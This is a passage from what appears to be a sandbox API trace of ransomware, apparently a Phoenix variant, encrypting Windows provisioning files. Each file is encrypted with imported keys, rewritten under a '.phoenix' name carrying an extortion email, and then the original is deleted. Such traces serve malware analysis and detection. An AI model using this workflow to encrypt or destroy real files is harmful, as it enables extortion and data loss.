	[0256.220] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.220] CryptDestroyKey (hKey=0x151480) returned 1
	[0256.220] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.221] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.221] CloseHandle (hObject=0x2d0) returned 1
	[0256.221] CloseHandle (hObject=0x2c0) returned 1
	[0256.221] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\620__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.222] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.222] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.223] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=845) returned 1
	[0256.223] CloseHandle (hObject=0x2c0) returned 1
	[0256.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.223] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.223] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.223] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.223] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.224] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0256.224] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.224] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34d, lpOverlapped=0x0) returned 1
	[0256.229] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0256.229] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0256.230] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0256.230] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.230] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.230] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0256.230] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.230] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.230] CloseHandle (hObject=0x2c0) returned 1
	[0256.230] CloseHandle (hObject=0x2d0) returned 1
	[0256.230] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\621__connections_cellular_truphone (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.231] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.231] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.232] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0256.232] CloseHandle (hObject=0x2d0) returned 1
	[0256.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.232] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.232] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.232] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.232] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.232] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0256.232] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.233] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.250] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.250] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0256.641] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.641] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.641] CryptDestroyKey (hKey=0x151040) returned 1
	[0256.641] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.641] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0256.642] CloseHandle (hObject=0x2d0) returned 1
	[0256.642] CloseHandle (hObject=0x2c0) returned 1
	[0256.642] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\622__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.643] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.650] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=843) returned 1
	[0256.650] CloseHandle (hObject=0x2c0) returned 1
	[0256.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.650] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.650] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.650] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.650] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.651] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0256.651] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.651] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x34b, lpOverlapped=0x0) returned 1
	[0256.652] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350, dwBufLen=0x350 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x350) returned 1
	[0256.652] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x350, lpOverlapped=0x0) returned 1
	[0256.653] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0256.653] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.653] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.653] CryptDestroyKey (hKey=0x151780) returned 1
	[0256.653] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.653] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.653] CloseHandle (hObject=0x2c0) returned 1
	[0256.653] CloseHandle (hObject=0x2d0) returned 1
	[0256.653] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\623__connections_cellular_truphone (spain)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.654] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.654] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.655] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0256.655] CloseHandle (hObject=0x2d0) returned 1
	[0256.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0256.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.655] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0256.655] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.655] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0256.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.656] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0256.656] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.656] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1cb, lpOverlapped=0x0) returned 1
	[0256.657] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1d0) returned 1
	[0256.657] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1d0, lpOverlapped=0x0) returned 1
	[0256.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151300) returned 1
	[0256.658] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0256.658] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0256.658] CryptDestroyKey (hKey=0x151300) returned 1
	[0256.658] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0256.658] CryptDestroyKey (hKey=0x151640) returned 1
	[0256.658] CloseHandle (hObject=0x2d0) returned 1
	[0256.658] CloseHandle (hObject=0x2c0) returned 1
	[0256.658] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\624__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0256.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0256.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0256.663] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=844) returned 1
	[0256.663] CloseHandle (hObject=0x2c0) returned 1
	[0256.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
